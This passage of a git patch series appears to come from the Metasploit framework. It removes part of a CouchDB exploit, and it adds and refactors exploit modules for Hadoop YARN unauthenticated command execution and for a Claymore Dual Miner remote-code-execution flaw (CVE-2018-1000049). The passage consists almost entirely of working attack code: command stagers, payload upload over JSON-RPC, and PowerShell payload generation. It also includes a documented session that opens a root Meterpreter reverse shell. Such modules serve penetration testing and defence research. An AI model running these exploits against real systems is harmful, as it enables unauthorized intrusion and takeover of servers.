"#{datastore['WritableDir']}/#{Rex::Text.rand_text_alpha_lower(8..16)}" - @file_to_clean = rand_file - - res = send_request_cgi( - 'uri' => normalize_uri(target_uri.path, "/_config/query_servers/#{rand_cmd1}"), - 'method' => 'PUT', - 'authorization' => @auth, - 'data' => %Q{"echo '@cmdstager' > #{rand_file}"} - - ) - - res = send_request_cgi( - 'uri' => normalize_uri(target_uri.path, "/#{rand_db}"), - 'method' => 'PUT', - 'authorization' => @auth - ) - - res = send_request_cgi( - 'uri' => normalize_uri(target_uri.path, "/#{rand_db}/#{rand_doc}"), - 'method' => 'PUT', - 'authorization' => @auth, - 'data' => %Q{{"_id": "#{rand_hex}"}} - ) - - res = send_request_cgi( - 'uri' => normalize_uri(target_uri.path, "/#{rand_db}/_temp_view?limit=20"), - 'method' => 'POST', - 'authorization' => @auth, - 'ctype' => 'application/json', - 'data' => %Q{{"language":"#{rand_cmd1}","map":""}} - ) - - res = send_request_cgi( - 'uri' => normalize_uri(target_uri.path, "/_config/query_servers/#{rand_cmd2}"), - 'method' => 'PUT', - 'authorization' => @auth, - 'data' => %Q{"/bin/sh #{rand_file}"} - ) - - res = send_request_cgi( - 'uri' => normalize_uri(target_uri.path, "/#{rand_db}/_temp_view?limit=20"), - 'method' => 'POST', - 'authorization' => @auth, - 'ctype' => 'application/json', - 'data' => %Q{{"language":"#{rand_cmd2}","map":""}} - ) - - - end - - # payload2 is for the version of couchdb below 2.1.1 - def payload2 - - rand_cmd1 = Rex::Text.rand_text_alpha_lower(4..12) - rand_cmd2 = Rex::Text.rand_text_alpha_lower(4..12) - rand_db = Rex::Text.rand_text_alpha_lower(4..12) - rand_doc = Rex::Text.rand_text_alpha_lower(4..12) - rand_tmp = Rex::Text.rand_text_alpha_lower(4..12) - rand_hex = Rex::Text.rand_text_hex(32) - rand_file = "#{datastore['WritableDir']}/#{Rex::Text.rand_text_alpha_lower(8..16)}" - - @file_to_clean = rand_file - - res = send_request_cgi( - 'uri' => normalize_uri(target_uri.path, "/_membership"), - 'method' => 'GET', - 'authorization' => @auth - ) - node = res.get_json_document['all_nodes'][0] - - - res = send_request_cgi( - 'uri' => normalize_uri(target_uri.path, "/_node/#{node}/_config/query_servers/#{rand_cmd1}"), - 'method' => 'PUT', - 'authorization' => @auth, - 'data' => %Q{"echo '@cmdstager' > #{rand_file}"} - - ) - - res = send_request_cgi( - 'uri' => normalize_uri(target_uri.path, "/#{rand_db}"), - 'method' => 'PUT', - 'authorization' => @auth - ) - - res = send_request_cgi( - 'uri' => normalize_uri(target_uri.path, "/#{rand_db}/#{rand_doc}"), - 'method' => 'PUT', - 'authorization' => @auth, - 'data' => %Q{{"_id": "#{rand_hex}"}} - ) - - res = send_request_cgi( - 'uri' => normalize_uri(target_uri.path, "/#{rand_db}/_design/#{rand_tmp}"), - 'method' => 'PUT', - 'authorization' => @auth, - 'ctype' => 'application/json', - 'data' => %Q{{"_id":"_design/#{rand_tmp}","views":{"#{rand_db}":{"map":""} },"language":"#{rand_cmd1}"}} - ) - - res = send_request_cgi( - 'uri' => normalize_uri(target_uri.path, "/_node/#{node}/_config/query_servers/#{rand_cmd2}"), - 'method' => 'PUT', - 'authorization' => @auth, - 'data' => %Q{"/bin/sh #{rand_file}"} - - ) - - res = send_request_cgi( - 'uri' => normalize_uri(target_uri.path, "/#{rand_db}/_design/#{rand_tmp}"), - 'method' => 'PUT', - 'authorization' => @auth, - 'ctype' => 'application/json', - 'data' => %Q{{"_id":"_design/#{rand_tmp}","views":{"#{rand_db}":{"map":""} },"language":"#{rand_cmd2}"}} - ) - end - - def cmdstager_path - @cmdstager_path ||= - "#{datastore['WritableDir']}/#{Rex::Text.rand_text_alpha_lower(8)}" - end - - # - # Override methods - # - - def execute_command(cmd, opts) - - rand_cmd1 = Rex::Text.rand_text_alpha_lower(4..12) - rand_cmd2 = Rex::Text.rand_text_alpha_lower(4..12) - rand_db = Rex::Text.rand_text_alpha_lower(4..12) - rand_doc = Rex::Text.rand_text_alpha_lower(4..12) - rand_hex = Rex::Text.rand_text_hex(32) - rand_file = "#{datastore['WritableDir']}/#{Rex::Text.rand_text_alpha_lower(8..16)}" - @file_to_clean = rand_file - - begin - res = send_request_cgi( - 'uri' => normalize_uri(target_uri.path, "/_config/query_servers/#{rand_cmd1}"), - 'method' => 'PUT', - 'authorization' => @auth, - 'data' => %Q{"#{cmd}"} - #'data' => %Q{"curl -so /tmp/test www.baidu.com"} - #'data' => %Q{"curl www.baidu.com > /tmp/test && id > /tmp/id"} - - ) - - res = send_request_cgi( - 'uri' => normalize_uri(target_uri.path, "/#{rand_db}"), - 'method' => 'PUT', - 'authorization' => @auth - ) - - res = send_request_cgi( - 'uri' => normalize_uri(target_uri.path, "/#{rand_db}/#{rand_doc}"), - 'method' => 'PUT', - 'authorization' => @auth, - 'data' => %Q{{"_id": "#{rand_hex}"}} - ) - - res = send_request_cgi( - 'uri' => normalize_uri(target_uri.path, "/#{rand_db}/_temp_view?limit=20"), - 'method' => 'POST', - 'authorization' => @auth, - 'ctype' => 'application/json', - 'data' => %Q{{"language":"#{rand_cmd1}","map":""}} - ) - - rescue ::Rex::ConnectionError - fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server") - end - end - - def on_request_uri(cli, request) -=begin - if (not @cmdstager) - print_error("#{rhost}:#{rport} - A request came in, but the payload wasn't ready yet!") - return - end -=end - print_status("Sending payload #{datastore['PAYLOAD']}") - super - - end - - def start_service(opts = {}) - super - @service_url = get_uri - end - - - # mark the exploit successful and clean temp file created during exploiting - def on_new_session(client) - # mark flag be true to stop exploit. - @exploit_flag = true - - # CmdStager should rm the file, but it blocks on the payload, so we do it - @file_to_clean << " #{cmdstager_path}" - vprint_status("Cleaning temp file #{@file_to_clean}") - begin - if client.type.eql? 'meterpreter' - client.core.use 'stdapi' unless client.ext.aliases.include? 'stdapi' - client.fs.file.rm @file_to_clean - else - client.shell_command_token("rm #{@file_to_clean}") - end - vprint_good("Cleaned temp file successful.") - rescue - print_warning("Need to clean the temp file #{@file_to_clean} manually.") - end - end - -end From c5bdd2ca9dd42635d0278ed7da1f8a34f3d66f6e Mon Sep 17 00:00:00 2001 From: Green-m Date: Tue, 15 May 2018 03:47:09 -0400 Subject: [PATCH 027/217] Add doc for this module --- .../exploit/linux/http/hadoop_unauth_exec.md | 112 ++++++++++++++++++ 1 file changed, 112 insertions(+) create mode 100644 documentation/modules/exploit/linux/http/hadoop_unauth_exec.md diff --git a/documentation/modules/exploit/linux/http/hadoop_unauth_exec.md b/documentation/modules/exploit/linux/http/hadoop_unauth_exec.md new file mode 100644 index 0000000000..b16ee9944c --- /dev/null +++ b/documentation/modules/exploit/linux/http/hadoop_unauth_exec.md @@ -0,0 +1,112 @@ +## Description + +This module exploits an unauthorized command execution vulneralbility in Apache Hadoop through ResourceManager REST API. + +## Vulnerable Application + +**Vulnerable Application Link** + +- docker + +https://github.com/vulhub/vulhub/tree/master/hadoop/unauthorized-yarn + +## Vulnerable Application Installation Setup. + +Change dictory to `vulhub/hadoop/unauthorized-yarn`, and run `docker-compose up -d` + + +## Verification Steps + + Example steps in this format (is also in the PR): + + 1. Install the application + 2. Start msfconsole + 3. Do: ```use exploit/linux/http/hadoop_unauth_exec``` + 4. Do: ``set rhost x.x.x.x`` + 5. Do: ``set rport 8088`` + 6. Do: ``check`` + +``[+] 192.168.77.141:8088 The target is vulnerable.`` + + 7. Do: `set payload linux/x86/meterpreter/reverse_tcp` + 8. Do: ``exploit`` + 9. You should get a shell. + + +## Scenarios + +``` +msf5 > use exploit/linux/http/hadoop_unauth_exec +msf5 exploit(linux/http/hadoop_unauth_exec) > show options + +Module options (exploit/linux/http/hadoop_unauth_exec): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + Proxies no A proxy chain of format type:host:port[,type:host:port][...] + RHOST yes The target address + RPORT 8088 yes The target port (TCP) + SRVHOST 0.0.0.0 yes The local host to listen on. This must be an address on the local machine or 0.0.0.0 + SRVPORT 8080 yes The local port to listen on. + SSL false no Negotiate SSL/TLS for outgoing connections + SSLCert no Path to a custom SSL certificate (default is randomly generated) + URIPATH no The URI to use for this exploit (default is random) + VHOST no HTTP server virtual host + + +Exploit target: + + Id Name + -- ---- + 0 Automatic + + +msf5 exploit(linux/http/hadoop_unauth_exec) > set rhost 192.168.77.141 +rhost => 192.168.77.141 +msf5 exploit(linux/http/hadoop_unauth_exec) > set payload linux/x86/meterpreter/reverse_tcp +payload => linux/x86/meterpreter/reverse_tcp +msf5 exploit(linux/http/hadoop_unauth_exec) > show options + +Module options (exploit/linux/http/hadoop_unauth_exec): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + Proxies no A proxy chain of format type:host:port[,type:host:port][...] + RHOST 192.168.77.141 yes The target address + RPORT 8088 yes The target port (TCP) + SRVHOST 0.0.0.0 yes The local host to listen on. This must be an address on the local machine or 0.0.0.0 + SRVPORT 8080 yes The local port to listen on. + SSL false no Negotiate SSL/TLS for outgoing connections + SSLCert no Path to a custom SSL certificate (default is randomly generated) + URIPATH no The URI to use for this exploit (default is random) + VHOST no HTTP server virtual host + + +Payload options (linux/x86/meterpreter/reverse_tcp): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + LHOST yes The listen address + LPORT 4444 yes The listen port + + +Exploit target: + + Id Name + -- ---- + 0 Automatic + + +msf5 exploit(linux/http/hadoop_unauth_exec) > set lhost 192.168.77.141 +lhost => 192.168.77.141 +msf5 exploit(linux/http/hadoop_unauth_exec) > exploit + +[*] Started reverse TCP handler on 192.168.77.141:4444 +[*] Sending Command +[*] Command Stager progress - 100.00% done (763/763 bytes) +[*] Sending stage (853256 bytes) to 172.20.0.3 +[*] Meterpreter session 1 opened (192.168.77.141:4444 -> 172.20.0.3:34138) at 2018-05-15 03:21:17 -0400 + +meterpreter > getuid +Server username: uid=0, gid=0, euid=0, egid=0 +``` \ No newline at end of file From 03a7bb72af2937686e3e2f0862662ddd6582b687 Mon Sep 17 00:00:00 2001 From: Green-m Date: Tue, 15 May 2018 03:47:20 -0400 Subject: [PATCH 028/217] Add exploit module for apache hadoop unauthorized command execution --- .../exploits/linux/http/hadoop_unauth_exec.rb | 94 +++++++++++++++++++ 1 file changed, 94 insertions(+) create mode 100644 modules/exploits/linux/http/hadoop_unauth_exec.rb diff --git a/modules/exploits/linux/http/hadoop_unauth_exec.rb b/modules/exploits/linux/http/hadoop_unauth_exec.rb new file mode 100644 index 0000000000..2569846f5f --- /dev/null +++ b/modules/exploits/linux/http/hadoop_unauth_exec.rb @@ -0,0 +1,94 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::CmdStager + + def initialize(info={}) + super(update_info(info, + 'Name' => "Hadoop YARN ResourceManager Unauthorized Command Execution", + 'Description' => %q{ + This module exploits an unauthorized command execution vulneralbility in Apache Hadoop through ResourceManager REST API. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'cbmixx', # Proof of concept + 'Green-m ' # Metasploit module + ], + 'References' => + [ + [ 'URL', 'http://archive.hack.lu/2016/Wavestone%20-%20Hack.lu%202016%20-%20Hadoop%20safari%20-%20Hunting%20for%20vulnerabilities%20-%20v1.0.pdf'], + [ 'URL', 'https://github.com/vulhub/vulhub/tree/master/hadoop/unauthorized-yarn'] + ], + + 'Platform' => 'linux', + 'Arch' => [ARCH_X86, ARCH_X64], + 'Targets' => + [ + ['Automatic', {} ], + ], + 'Privileged' => false, + 'DisclosureDate' => "Oct 19 2016", + 'DefaultTarget' => 0 + )) + + register_options([ + Opt::RPORT(8088) + ]) + end + + + def check + + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path, "/ws/v1/cluster/apps/new-application"), + 'method' => 'POST' + ) + if res and res.code == 200 and res.body.include?("application-id") + return CheckCode::Vulnerable + end + + CheckCode::Unknown + end + + def exploit + print_status("Sending Command") + execute_cmdstager + end + + def execute_command(cmd, opts = {}) + + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path, "/ws/v1/cluster/apps/new-application"), + 'method' => 'POST' + ) + + app_id = res.get_json_document['application-id'] + + post = { + 'application-id' => app_id, + 'application-name' => Rex::Text.rand_text_alpha_lower(4..12), + 'application-type' => 'YARN', + 'am-container-spec' => { + 'commands' => {'command' => "#{cmd}"}, + } + } + + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path, "/ws/v1/cluster/apps"), + 'method' => 'POST', + 'ctype' => 'application/json', + 'data' => post.to_json + + ) + + end + + +end From a61d202586d1229fe26d9b7f122ce7f4403f37fe Mon Sep 17 00:00:00 2001 From: Green-m Date: Tue, 15 May 2018 04:27:36 -0400 Subject: [PATCH 029/217] Delete blank, fix typo and use single quote instead. --- .../exploits/linux/http/hadoop_unauth_exec.rb | 34 +++++++++---------- 1 file changed, 17 insertions(+), 17 deletions(-) diff --git a/modules/exploits/linux/http/hadoop_unauth_exec.rb b/modules/exploits/linux/http/hadoop_unauth_exec.rb index 2569846f5f..6e7459ecbf 100644 --- a/modules/exploits/linux/http/hadoop_unauth_exec.rb +++ b/modules/exploits/linux/http/hadoop_unauth_exec.rb @@ -11,9 +11,9 @@ class MetasploitModule < Msf::Exploit::Remote def initialize(info={}) super(update_info(info, - 'Name' => "Hadoop YARN ResourceManager Unauthorized Command Execution", + 'Name' => 'Hadoop YARN ResourceManager Unauthorized Command Execution', 'Description' => %q{ - This module exploits an unauthorized command execution vulneralbility in Apache Hadoop through ResourceManager REST API. + This module exploits an unauthorized command execution vulnerability in Apache Hadoop through ResourceManager REST API. }, 'License' => MSF_LICENSE, 'Author' => @@ -31,10 +31,10 @@ class MetasploitModule < Msf::Exploit::Remote 'Arch' => [ARCH_X86, ARCH_X64], 'Targets' => [ - ['Automatic', {} ], + ['Automatic', {} ], ], 'Privileged' => false, - 'DisclosureDate' => "Oct 19 2016", + 'DisclosureDate' => 'Oct 19 2016', 'DefaultTarget' => 0 )) @@ -45,27 +45,31 @@ class MetasploitModule < Msf::Exploit::Remote def check - res = send_request_cgi( - 'uri' => normalize_uri(target_uri.path, "/ws/v1/cluster/apps/new-application"), + 'uri' => normalize_uri(target_uri.path, '/ws/v1/cluster/apps/new-application'), 'method' => 'POST' ) - if res and res.code == 200 and res.body.include?("application-id") - return CheckCode::Vulnerable + + unless res + vprint_error 'Connection failed' + return CheckCode::Unknown end - CheckCode::Unknown + if res and res.code == 200 and res.body.include?('application-id') + return CheckCode::Detected + end + + CheckCode::Safe end def exploit - print_status("Sending Command") + print_status('Sending Command') execute_cmdstager end def execute_command(cmd, opts = {}) - res = send_request_cgi( - 'uri' => normalize_uri(target_uri.path, "/ws/v1/cluster/apps/new-application"), + 'uri' => normalize_uri(target_uri.path, '/ws/v1/cluster/apps/new-application'), 'method' => 'POST' ) @@ -81,14 +85,10 @@ class MetasploitModule < Msf::Exploit::Remote } res = send_request_cgi( - 'uri' => normalize_uri(target_uri.path, "/ws/v1/cluster/apps"), + 'uri' => normalize_uri(target_uri.path, '/ws/v1/cluster/apps'), 'method' => 'POST', 'ctype' => 'application/json', 'data' => post.to_json - ) - end - - end From 492be19aa0bff5ec8759cd813d6a9c182c260e20 Mon Sep 17 00:00:00 2001 From: Green-m Date: Tue, 15 May 2018 05:18:38 -0400 Subject: [PATCH 030/217] Use && instead of and --- modules/exploits/linux/http/hadoop_unauth_exec.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/linux/http/hadoop_unauth_exec.rb b/modules/exploits/linux/http/hadoop_unauth_exec.rb index 6e7459ecbf..8c0da60a97 100644 --- a/modules/exploits/linux/http/hadoop_unauth_exec.rb +++ b/modules/exploits/linux/http/hadoop_unauth_exec.rb @@ -55,7 +55,7 @@ class MetasploitModule < Msf::Exploit::Remote return CheckCode::Unknown end - if res and res.code == 200 and res.body.include?('application-id') + if res && res.code == 200 && res.body.include?('application-id') return CheckCode::Detected end From b010d234275406f2f5f212c6108f3d8e730eead3 Mon Sep 17 00:00:00 2001 From: phra Date: Sat, 19 May 2018 03:10:06 +0200 Subject: [PATCH 031/217] exploits: add CVE-2018-1000049 exploit module, fixes #10063 --- .../claymore_dual_miner_remote_manager_rce.rb | 152 ++++++++++++++++++ 1 file changed, 152 insertions(+) create mode 100644 modules/exploits/multi/misc/claymore_dual_miner_remote_manager_rce.rb diff --git a/modules/exploits/multi/misc/claymore_dual_miner_remote_manager_rce.rb b/modules/exploits/multi/misc/claymore_dual_miner_remote_manager_rce.rb new file mode 100644 index 0000000000..e1486b79e3 --- /dev/null +++ b/modules/exploits/multi/misc/claymore_dual_miner_remote_manager_rce.rb @@ -0,0 +1,152 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core/exploit/powershell' + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::Tcp + include Msf::Exploit::CmdStager + include Msf::Exploit::Powershell + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Nanopool Claymore Dual Miner APIs RCE', + 'Description' => %q{ + This module takes advantage of miner remote manager APIs to exploit an RCE vulnerability. + }, + 'Author' => + [ + 'reversebrain@snado', # Vulnerability reporter + 'phra@snado' # Metasploit module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + ['URL', 'https://nvd.nist.gov/vuln/detail/CVE-2018-1000049'], + ['CVE', '2018-1000049'] + ], + 'Platform' => ['win', 'linux'], + 'Targets' => + [ + [ 'Linux', + { + 'Platform' => 'linux', + 'Arch' => ARCH_X64 + } + ], + [ 'Windows', + { + 'Platform' => 'windows', + 'Arch' => ARCH_X64 + } + ] + ], + 'Payload' => + { + 'BadChars' => "\x00" + }, + 'DisclosureDate' => 'Feb 09 2018', + 'DefaultTarget' => 0)) + + register_options( + [ + OptAddress.new('RHOST', [ true, 'Set miner host', '127.0.0.1' ]), + OptPort.new('RPORT', [ true, 'Set miner port', 3333 ]) + ]) + deregister_options('URIPATH', 'SSL', 'SSLCert', 'SRVPORT', 'SRVHOST') + end + + def bin_to_hex(s) + s.each_byte.map { |b| b.to_s(16) }.join + end + + def hex_to_bin(s) + s.scan(/../).map { |x| x.hex.chr }.join + end + + def execute_command(cmd, opts = {}) + case target['Platform'] + when 'linux' + cmd = bin_to_hex(cmd) + when 'windows' + cmd = bin_to_hex(cmd_psh_payload(payload.encoded, payload_instance.arch.first)) + end + case target['Platform'] + when 'linux' + upload = "{\"id\":0,\"jsonrpc\":\"2.0\",\"method\":\"miner_file\",\"params\":[\"reboot.bash\", \"#{cmd}\"]}" + when 'windows' + upload = "{\"id\":0,\"jsonrpc\":\"2.0\",\"method\":\"miner_file\",\"params\":[\"reboot.bat\", \"#{cmd}\"]}" + end + begin + connect + sock.put(upload) + buf = sock.get_once || '' + rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError => e + puts e + elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}") + ensure + disconnect + end + trigger_vulnerability + end + + def trigger_vulnerability + execute = '{"id":0,"jsonrpc":"2.0","method":"miner_reboot"}' + begin + connect + sock.put(execute) + buf = sock.get_once || '' + rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError => e + print_error(e) + elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}") + ensure + disconnect + end + end + + def exploit + case target['Platform'] + when 'linux' + execute_cmdstager + when 'windows' + execute_cmdstager(flavor: :certutil, linemax: 10000) + end + end + + def check + data = '{"id":0,"jsonrpc":"2.0","method":"miner_getfile","params":["config.txt"]}' + begin + connect + sock.put(data) + buf = sock.get_once || '' + tmp = StringIO.new + tmp << buf + tmp2 = tmp.string + hex = '' + case target['Platform'] + when 'linux' + hex = tmp2.scan(/\w+/)[5] + when 'windows' + hex = tmp2.scan(/\w+/)[7] + end + if not hex + return Exploit::CheckCode::Safe + end + str = hex_to_bin(hex) + if str.include?('WARNING') + return Exploit::CheckCode::Vulnerable + else + return Exploit::CheckCode::Detected + end + rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError => e + print_error(e) + elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}") + ensure + disconnect + end + end +end From 5d37451dc8183a2fc8941c48d60d51d391c60212 Mon Sep 17 00:00:00 2001 From: phra Date: Sat, 19 May 2018 03:26:49 +0200 Subject: [PATCH 032/217] fix: use print_error instead of puts --- .../multi/misc/claymore_dual_miner_remote_manager_rce.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/multi/misc/claymore_dual_miner_remote_manager_rce.rb b/modules/exploits/multi/misc/claymore_dual_miner_remote_manager_rce.rb index e1486b79e3..bce911eb0a 100644 --- a/modules/exploits/multi/misc/claymore_dual_miner_remote_manager_rce.rb +++ b/modules/exploits/multi/misc/claymore_dual_miner_remote_manager_rce.rb @@ -86,7 +86,7 @@ class MetasploitModule < Msf::Exploit::Remote sock.put(upload) buf = sock.get_once || '' rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError => e - puts e + print_error(e) elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}") ensure disconnect From 8a1cb1e560b040fde48e6e710d858cb0e7569987 Mon Sep 17 00:00:00 2001 From: phra Date: Sat, 19 May 2018 03:27:35 +0200 Subject: [PATCH 033/217] fix: fix indentation --- .../multi/misc/claymore_dual_miner_remote_manager_rce.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/multi/misc/claymore_dual_miner_remote_manager_rce.rb b/modules/exploits/multi/misc/claymore_dual_miner_remote_manager_rce.rb index bce911eb0a..1e60c8f565 100644 --- a/modules/exploits/multi/misc/claymore_dual_miner_remote_manager_rce.rb +++ b/modules/exploits/multi/misc/claymore_dual_miner_remote_manager_rce.rb @@ -140,7 +140,7 @@ class MetasploitModule < Msf::Exploit::Remote if str.include?('WARNING') return Exploit::CheckCode::Vulnerable else - return Exploit::CheckCode::Detected + return Exploit::CheckCode::Detected end rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError => e print_error(e) From d239fb17db2f7b32b1977ab825b06131b324ca4f Mon Sep 17 00:00:00 2001 From: phra Date: Sat, 19 May 2018 15:50:10 +0200 Subject: [PATCH 034/217] refactor: update code as requested --- .../claymore_dual_miner_remote_manager_rce.rb | 73 +++++++++---------- 1 file changed, 33 insertions(+), 40 deletions(-) diff --git a/modules/exploits/multi/misc/claymore_dual_miner_remote_manager_rce.rb b/modules/exploits/multi/misc/claymore_dual_miner_remote_manager_rce.rb index 1e60c8f565..ab85df8bba 100644 --- a/modules/exploits/multi/misc/claymore_dual_miner_remote_manager_rce.rb +++ b/modules/exploits/multi/misc/claymore_dual_miner_remote_manager_rce.rb @@ -54,7 +54,6 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ - OptAddress.new('RHOST', [ true, 'Set miner host', '127.0.0.1' ]), OptPort.new('RPORT', [ true, 'Set miner port', 3333 ]) ]) deregister_options('URIPATH', 'SSL', 'SSLCert', 'SRVPORT', 'SRVHOST') @@ -87,7 +86,6 @@ class MetasploitModule < Msf::Exploit::Remote buf = sock.get_once || '' rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError => e print_error(e) - elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}") ensure disconnect end @@ -96,16 +94,13 @@ class MetasploitModule < Msf::Exploit::Remote def trigger_vulnerability execute = '{"id":0,"jsonrpc":"2.0","method":"miner_reboot"}' - begin - connect - sock.put(execute) - buf = sock.get_once || '' - rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError => e - print_error(e) - elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}") - ensure - disconnect - end + connect + sock.put(execute) + buf = sock.get_once || '' + rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError => e + print_error(e) + ensure + disconnect end def exploit @@ -119,34 +114,32 @@ class MetasploitModule < Msf::Exploit::Remote def check data = '{"id":0,"jsonrpc":"2.0","method":"miner_getfile","params":["config.txt"]}' - begin - connect - sock.put(data) - buf = sock.get_once || '' - tmp = StringIO.new - tmp << buf - tmp2 = tmp.string - hex = '' - case target['Platform'] - when 'linux' - hex = tmp2.scan(/\w+/)[5] - when 'windows' - hex = tmp2.scan(/\w+/)[7] - end - if not hex - return Exploit::CheckCode::Safe - end - str = hex_to_bin(hex) - if str.include?('WARNING') - return Exploit::CheckCode::Vulnerable - else - return Exploit::CheckCode::Detected - end - rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError => e - print_error(e) - elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}") - ensure - disconnect + connect + sock.put(data) + buf = sock.get_once || '' + tmp = StringIO.new + tmp << buf + tmp2 = tmp.string + hex = '' + case target['Platform'] + when 'linux' + hex = tmp2.scan(/\w+/)[5] + when 'windows' + hex = tmp2.scan(/\w+/)[7] end + if not hex + return Exploit::CheckCode::Safe + end + str = hex_to_bin(hex) + if str.include?('WARNING') + return Exploit::CheckCode::Vulnerable + else + return Exploit::CheckCode::Detected + end + rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError => e + vprint_error(e) + return Exploit::CheckCode::Unknown + ensure + disconnect end end From c9ab44234a1d09466a31755e25677732a76d00ff Mon Sep 17 00:00:00 2001 From: phra Date: Sat, 19 May 2018 15:55:11 +0200 Subject: [PATCH 035/217] refactor: remove predefined cmd stager flavor, increase linemax --- .../multi/misc/claymore_dual_miner_remote_manager_rce.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/multi/misc/claymore_dual_miner_remote_manager_rce.rb b/modules/exploits/multi/misc/claymore_dual_miner_remote_manager_rce.rb index ab85df8bba..3c4f19215a 100644 --- a/modules/exploits/multi/misc/claymore_dual_miner_remote_manager_rce.rb +++ b/modules/exploits/multi/misc/claymore_dual_miner_remote_manager_rce.rb @@ -108,7 +108,7 @@ class MetasploitModule < Msf::Exploit::Remote when 'linux' execute_cmdstager when 'windows' - execute_cmdstager(flavor: :certutil, linemax: 10000) + execute_cmdstager(linemax: 20000) end end From 6d4ad57beb16a4704bada4fc8474fa792da65b0d Mon Sep 17 00:00:00 2001 From: phra Date: Mon, 21 May 2018 22:14:39 +0200 Subject: [PATCH 036/217] refactor: use Rex built-in encoders --- .../misc/claymore_dual_miner_remote_manager_rce.rb | 14 +++----------- 1 file changed, 3 insertions(+), 11 deletions(-) diff --git a/modules/exploits/multi/misc/claymore_dual_miner_remote_manager_rce.rb b/modules/exploits/multi/misc/claymore_dual_miner_remote_manager_rce.rb index 3c4f19215a..5a5dce8b2a 100644 --- a/modules/exploits/multi/misc/claymore_dual_miner_remote_manager_rce.rb +++ b/modules/exploits/multi/misc/claymore_dual_miner_remote_manager_rce.rb @@ -59,20 +59,12 @@ class MetasploitModule < Msf::Exploit::Remote deregister_options('URIPATH', 'SSL', 'SSLCert', 'SRVPORT', 'SRVHOST') end - def bin_to_hex(s) - s.each_byte.map { |b| b.to_s(16) }.join - end - - def hex_to_bin(s) - s.scan(/../).map { |x| x.hex.chr }.join - end - def execute_command(cmd, opts = {}) case target['Platform'] when 'linux' - cmd = bin_to_hex(cmd) + cmd = Rex::Text.to_hex(cmd, '') when 'windows' - cmd = bin_to_hex(cmd_psh_payload(payload.encoded, payload_instance.arch.first)) + cmd = Rex::Text.to_hex(cmd_psh_payload(payload.encoded, payload_instance.arch.first), '') end case target['Platform'] when 'linux' @@ -130,7 +122,7 @@ class MetasploitModule < Msf::Exploit::Remote if not hex return Exploit::CheckCode::Safe end - str = hex_to_bin(hex) + str = Rex::Text.hex_to_raw(hex) if str.include?('WARNING') return Exploit::CheckCode::Vulnerable else From 5649dd0598be4b6295a14e35f22bb8c87be0c18f Mon Sep 17 00:00:00 2001 From: phra Date: Fri, 1 Jun 2018 16:57:57 +0200 Subject: [PATCH 037/217] refactor: use Hash.to_json instead of strings --- .../claymore_dual_miner_remote_manager_rce.rb | 21 ++++++++++++++++--- 1 file changed, 18 insertions(+), 3 deletions(-) diff --git a/modules/exploits/multi/misc/claymore_dual_miner_remote_manager_rce.rb b/modules/exploits/multi/misc/claymore_dual_miner_remote_manager_rce.rb index 5a5dce8b2a..2f9d5b987a 100644 --- a/modules/exploits/multi/misc/claymore_dual_miner_remote_manager_rce.rb +++ b/modules/exploits/multi/misc/claymore_dual_miner_remote_manager_rce.rb @@ -68,9 +68,19 @@ class MetasploitModule < Msf::Exploit::Remote end case target['Platform'] when 'linux' - upload = "{\"id\":0,\"jsonrpc\":\"2.0\",\"method\":\"miner_file\",\"params\":[\"reboot.bash\", 